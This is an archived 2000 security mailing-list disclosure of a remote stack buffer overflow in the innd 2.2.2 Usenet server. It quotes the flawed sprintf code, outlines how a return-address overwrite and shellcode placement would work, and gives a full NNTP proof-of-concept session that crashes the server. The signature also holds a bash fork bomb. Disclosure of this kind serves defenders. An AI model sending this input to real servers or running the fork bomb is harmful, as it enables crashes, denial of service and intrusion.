|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
Subject: innd 2.2.2 remote buffer overflow
From: Michal Zalewski (lcamtuf
TPI.PL)Date: Tue Jun 06 2000 - 09:18:44 CDT
- Next message: Darren Reed: "Re: FW-1 IP Fragmentation Vulnerability"
- Previous message: Georgi Guninski: "IE 5 Cross-frame security vulnerability using IFRAME and WebBrowser control"
- Next in thread: Russ Allbery: "Re: innd 2.2.2 remote buffer overflow"
- Reply: Forrest J. Cavalier III: "Re: innd 2.2.2 remote buffer overflow"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Newest innd 2.2.2, probably the most popular usenet news server (as well
as previous versions) contain remotely exploitable, trivial on-stack
buffer overflow in control articles handler.
Offending piece of code (in innd/art.c, function ARTcancelverify):
if (!EQ(local, p)) {
files = NULL;
(void)sprintf(buff, "\"%.50s\" wants to cancel %s by \"%.50s\"",
p, MessageID, local);
ARTlog(Data, ART_REJECT, buff);
}
Where buff (local stack buffer) is SMBUF bytes long (it means, 256 bytes),
but MessageID can be up to 1000 almost bytes long. This code is reached
when cancel request is sent to special newsgroup (called 'control'), and
cancel request contains valid Message-ID, but From/Sender fields are
different in cancel request and in original posting.
How to exploit it? It could be a problem for script kiddies, as Message-ID
is strictly checked for non-printable characters etc. But hey, Message-ID
can be used only as a padding, and then we can overwrite return address
with From/Sender address of cancel post! This field is not verified in any
fascist way. Shellcode? Can be placed anywhere, quite big portions of
cancel post are lying in the accessible memory when overflow happens.
Sample input ("LONGBUFFER" = around 500-600 bytes of AAAs..., has to be
the same every time):
-- input -
201 XXX InterNetNews NNRP server INN 2.2 23-Oct-1998 ready (posting ok)
mode reader
group pl.test
post
Message-ID: <none
LONGBUFFER>
From: <test
polbox.com>
Sender: <test
polbox.com>
Newsgroups: pl.test
testing
. <- single dot, comment to avoid mail transfer problems
group control
post
Message-ID: <some-random-msgid
test.pl>
Approved: <approver
approving.net>From: <sucker
free.net.pl>
Sender: <sucker
free.net.pl>
Control: cancel <none
LONGBUFFER>
Subject: cmsg cancel <none
LONGBUFFER>
Newsgroups: control
Damn, cancel it.
. <- single dot
quit
-- EOF --
If innd/nnrp is running under debugger like strace, you'll see that
child process responsible for request handling dies with SIGSEGV. Nice.
Don't ask me why, but I believe it will be hot weekend for Linux 2.2 users
;) Just wait for Wojtek's post ;P
_______________________________________________________
Michal Zalewski [lcamtuf
tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=
- Next message: Darren Reed: "Re: FW-1 IP Fragmentation Vulnerability"
- Previous message: Georgi Guninski: "IE 5 Cross-frame security vulnerability using IFRAME and WebBrowser control"
- Next in thread: Russ Allbery: "Re: innd 2.2.2 remote buffer overflow"
- Reply: Forrest J. Cavalier III: "Re: innd 2.2.2 remote buffer overflow"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]